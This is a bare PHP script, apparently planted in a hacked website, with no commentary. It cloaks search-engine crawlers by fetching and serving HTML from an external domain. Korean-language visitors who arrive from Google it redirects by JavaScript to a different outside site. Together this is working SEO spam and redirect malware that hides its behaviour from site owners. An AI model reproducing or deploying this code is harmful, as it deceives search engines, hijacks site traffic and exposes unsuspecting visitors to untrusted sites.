<?php
error_reporting(0);
$ua = strtolower($_SERVER['HTTP_USER_AGENT']);
$rf = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
$botchar = "/(googlebot|slurp|adsense|google-inspectiontool|naverbot|yeti|daumoa|zumBot)/";
$language = strtolower($_SERVER['HTTP_ACCEPT_LANGUAGE']);

function get_url_content($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
$output = curl_exec($ch);
curl_close($ch);
return $output;
}

if (preg_match($botchar, $ua)) {
if ($_SERVER['REQUEST_URI'] == '/') {
$file = get_url_content('https://hotbam3.org/randing/sawada.html');
echo $file;
exit;
}
}
if (
strpos(strtolower($language), 'ko') !== false &&
(strpos(strtolower($rf), 'google.com') !== false || strpos(strtolower($rf), 'google.co.kr') !== false)
) {


echo "<script>window.location.href='https://jusowhy.com/';</script>";
exit;
}
?>